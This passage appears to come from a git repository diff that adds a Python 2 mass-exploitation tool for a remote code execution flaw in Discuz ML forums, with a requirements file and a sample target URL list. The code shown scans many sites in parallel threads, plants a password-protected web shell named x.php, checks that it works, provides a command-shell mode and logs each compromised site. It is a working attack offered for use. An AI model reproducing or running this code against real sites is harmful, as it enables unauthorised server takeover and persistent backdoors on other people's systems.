||||
lock.release()
|
||||
continue
|
||||
|
||||
except requests.exceptions.ConnectionError:
|
||||
#print tgtUrl + ' Checked failed! Error: ConnectionError'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
except:
|
||||
#print tgtUrl + ' Checked failed! Error: Unknown error'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
if getshell_batch_rsp.status_code == 200:
|
||||
filename = tgtUrl.split('/')[-1]
|
||||
getshell_batch_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
|
||||
|
||||
if (getshell_batch_rsp1.status_code) == 200 and (getshell_batch_rsp1.text == ""):
|
||||
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
|
||||
lock.acquire()
|
||||
f4success.write(tgtUrl.split(filename)[0] + 'x.php' + '\n')
|
||||
lock.release()
|
||||
global success_count
|
||||
success_count = success_count + 1
|
||||
else:
|
||||
# soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
|
||||
#print 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\nrsp1 text: ' + getshell_batch_rsp1.text[0:100]
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + '-' + 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\n')
|
||||
lock.release()
|
||||
|
||||
else:
|
||||
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ' Getshell failed! Error: '+ str(getshell_batch_rsp.status_code) + '\n')
|
||||
lock.release()
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
parser = optparse.OptionParser('python %prog ' + '-h', version= '%prog v1.0')
|
||||
|
||||
parser.add_option('-u', dest='tgtUrl', type='string', help='single target url')
|
||||
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
|
||||
# parser.add_option('--check',dest='check',action='store_true',help='check url')
|
||||
parser.add_option('--getshell', dest='getshell', action='store_true', help='write a shell to target url-x.php,pwd is x')
|
||||
parser.add_option('--cmdshell', dest='cmdshell', action='store_true', help='cmd shell mode')
|
||||
|
||||
parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath')
|
||||
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
|
||||
|
||||
(options, args) = parser.parse_args()
|
||||
|
||||
getshell = options.getshell
|
||||
cmdshell = options.cmdshell
|
||||
timeout = options.timeout
|
||||
tgtUrl = options.tgtUrl
|
||||
|
||||
|
||||
global total_count
|
||||
|
||||
if tgtUrl and (getshell is None and cmdshell is None):
|
||||
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
|
||||
if setcookie_language_value == 'get-setcookie-language-value-error':
|
||||
sys.exit()
|
||||
#print setcookie_language_value
|
||||
dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout)
|
||||
if tgtUrl and cmdshell:
|
||||
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
|
||||
if setcookie_language_value == 'get-setcookie-language-value-error':
|
||||
sys.exit()
|
||||
dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout)
|
||||
if tgtUrl and getshell:
|
||||
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
|
||||
if setcookie_language_value == 'get-setcookie-language-value-error':
|
||||
sys.exit()
|
||||
dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout)
|
||||
|
||||
if options.tgtUrlsPath and (getshell is None):
|
||||
tgtFilePath = options.tgtUrlsPath
|
||||
threads = options.threads
|
||||
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
|
||||
os.mkdir('batch_result/' + str(nowtime))
|
||||
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-checked.txt', 'w')
|
||||
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-checked.txt', 'w')
|
||||
urlsFile = open(tgtFilePath)
|
||||
|
||||
total_count = len(open(tgtFilePath, 'rU').readlines())
|
||||
|
||||
print '===Total ' + str(total_count) + ' urls==='
|
||||
|
||||
for urls in urlsFile:
|
||||
tgtUrls = urls.strip()
|
||||
q0.put(tgtUrls)
|
||||
for thread in range(threads):
|
||||
t = threading.Thread(target=dz_ml_rce_check_batch, args=(timeout, f4success, f4fail))
|
||||
t.start()
|
||||
threadList.append(t)
|
||||
for th in threadList:
|
||||
th.join()
|
||||
|
||||
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
|
||||
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
|
||||
f4success.close()
|
||||
f4fail.close()
|
||||
|
||||
if options.tgtUrlsPath and getshell:
|
||||
tgtFilePath = options.tgtUrlsPath
|
||||
threads = options.threads
|
||||
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
|
||||
os.mkdir('batch_result/' + str(nowtime))
|
||||
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-getshell.txt', 'w')
|
||||
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-getshell.txt', 'w')
|
||||
urlsFile = open(tgtFilePath)
|
||||
#global total_count
|
||||
total_count = len(open(tgtFilePath, 'rU').readlines())
|
||||
|
||||
print '===Total ' + str(total_count) + ' urls==='
|
||||
|
||||
for urls in urlsFile:
|
||||
tgtUrls = urls.strip()
|
||||
q0.put(tgtUrls)
|
||||
for thread in range(threads):
|
||||
t = threading.Thread(target=dz_ml_rce_getshell_batch, args=(timeout, f4success, f4fail))
|
||||
t.start()
|
||||
threadList.append(t)
|
||||
for th in threadList:
|
||||
th.join()
|
||||
|
||||
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
|
||||
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
|
||||
f4success.close()
|
||||
f4fail.close()
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
main()
|
3
discuz-ml-rce/requirements.txt
Normal file
3
discuz-ml-rce/requirements.txt
Normal file
@ -0,0 +1,3 @@
|
||||
urllib3==1.25.3
|
||||
requests==2.22.0
|
||||
beautifulsoup4==4.7.1
|
3
discuz-ml-rce/urls.txt
Normal file
3
discuz-ml-rce/urls.txt
Normal file
@ -0,0 +1,3 @@
|
||||
http://xxx.org/discuzx/portal.php
|
||||
http://www.aaa.org.cn/forum.php
|
||||
https://www.bbb.com/forum.php
|
Loading…
x
Reference in New Issue
Block a user